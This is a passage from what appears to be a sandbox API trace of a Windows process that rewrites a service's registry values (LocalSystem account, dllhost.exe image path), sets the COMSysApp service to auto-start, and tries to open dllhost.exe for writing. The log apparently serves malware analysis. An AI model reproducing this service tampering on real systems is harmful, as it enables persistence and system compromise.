(in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.961] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.961] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.961] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.961] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.961] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.961] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.961] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.961] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.962] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.962] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.962] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.962] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.962] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0215.962] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0215.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0215.962] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0215.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0215.962] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.962] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.962] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0215.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0215.963] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0215.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0215.963] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0215.963] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0215.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0215.963] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0215.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4610 [0215.963] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0215.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0215.963] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0215.963] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0215.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0215.964] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0215.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44f0 [0215.964] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0215.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0215.964] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0215.964] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0215.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0215.964] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0215.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0215.964] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0215.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0215.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0215.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0215.964] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0215.964] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x7, lpData=0x21f3f08*, cbData=0x19 | out: lpData=0x21f3f08*) returned 0x0 [0215.964] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0215.965] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44f0 [0215.965] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0215.965] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0215.965] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0215.965] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0215.965] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0215.965] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0215.965] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0215.965] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0215.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0215.965] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4610 [0215.966] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0215.966] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0215.966] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0215.966] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0215.966] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0215.966] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\system32\\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x53 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0215.966] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\system32\\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}", lpDst=0x21f2da0, nSize=0x53 | out: lpDst="C:\\Windows\\system32\\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}") returned 0x52 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0215.966] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}", cbData=0x52 | out: lpData="C:\\Windows\\system32\\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}") returned 0x0 [0215.966] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\dllhost.exe" [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0215.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0215.967] LocalFree (hMem=0x7f03d0) returned 0x0 [0215.967] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\dllhost.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\dllhost.exe") returned 0x0 [0215.967] OpenServiceW (hSCManager=0x803918, lpServiceName="COMSysApp", dwDesiredAccess=0x2) returned 0x8038a0 [0215.967] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0215.983] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.983] RegCloseKey (hKey=0x148) returned 0x0 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0215.983] RegCloseKey (hKey=0xc4) returned 0x0 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0215.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0215.983] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4ae4b2, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee4ae4b2, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe06fa4e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600)) returned 1 [0215.984] CreateFileW (lpFileName="C:\\Windows\\system32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.984] GetLastError () returned 0x5 [0215.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0215.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0215.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0215.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0215.989] NtClose (Handle=0xc4) returned 0x0 [0215.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0215.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0215.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0216.203] NtClose (Handle=0xc4) returned 0x0 [0216.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0216.203] NtClose (Handle=0x148) returned 0x0 [0216.203] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x2710) returned 0x0 [0216.637] NtClose (Handle=0x154) returned 0x0 [0216.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0216.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0216.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0216.637] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4ae4b2, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee4ae4b2, ftLastAccessTime.dwHighDateTime=0x1ca0415, 